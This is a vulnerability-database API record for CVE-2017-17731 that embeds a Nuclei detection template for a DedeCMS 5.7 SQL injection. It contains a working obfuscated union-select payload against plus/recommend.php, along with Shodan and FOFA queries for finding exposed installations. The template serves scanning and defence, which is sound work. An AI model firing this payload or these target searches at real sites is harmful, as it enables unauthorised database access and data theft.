{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2017-17731/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2017-17731/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2017-17731/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2017-17731/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2017-17731/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2017-17731/enrichment"},"sightings":{"href":"/api/v1/sightings/cve-2017-17731"},"vulnerability":{"href":"/api/v1/vulnerability/cve-2017-17731"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2017/CVE-2017-17731.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2017-17731\n\ninfo:\n  name: DedeCMS 5.7 - SQL Injection\n  author: j4vaovo\n  severity: critical\n  description: |\n    DedeCMS through 5.7 has SQL Injection via the $_FILES superglobal to plus/recommend.php.\n  impact: |\n    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.\n  remediation: |\n    Apply the latest security patch or upgrade to a newer version of DedeCMS to mitigate the SQL Injection vulnerability.\n  reference:\n    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17731\n    - https://nvd.nist.gov/vuln/detail/CVE-2017-17731\n    - https://blog.csdn.net/nixawk/article/details/24982851\n    - https://github.com/Lucifer1993/AngelSword/blob/232258e42201373fef1f323864366dc1499581fc/cms/dedecms/dedecms_recommend_sqli.py#L25\n    - https://github.com/20142995/Goby\n  classification:\n    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2017-17731\n    cwe-id: CWE-89\n    epss-score: 0.13194\n    epss-percentile: 0.96384\n    cpe: cpe:2.3:a:dedecms:dedecms:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: dedecms\n    product: dedecms\n    shodan-query:\n      - http.html:\"DedeCms\"\n      - cpe:\"cpe:2.3:a:dedecms:dedecms\"\n      - http.html:\"dedecms\"\n    fofa-query:\n      - app=\"DedeCMS\"\n      - app=\"dedecms\"\n      - body=\"dedecms\"\n  tags: cve,cve2017,sqli,dedecms,vkev,vuln\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - method: GET\n    path:\n      - '{{BaseURL}}/plus/recommend.php?action=&aid=1&_FILES[type][tmp_name]=\\%27%20or%20mid=@`\\%27`%20/*!50000union*//*!50000select*/1,2,3,md5({{num}}),5,6,7,8,9%23@`\\%27`+&_FILES[type][name]=1.jpg&_FILES[type][type]=application/octet-stream&_FILES[type][size]=4294'\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5({{num}})}}'\n\n      - type: status\n        status:\n          - 200\n# digest: 490a00463044022019798a28422ed9a8952a0dc86be1fd69113a05cc21bb5e8162f38284cf6359bd02202c15fc4d31c43e834a7ef601d9159796b5c2e2b0774ab8eb05813c621819ba57:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2017-17731"}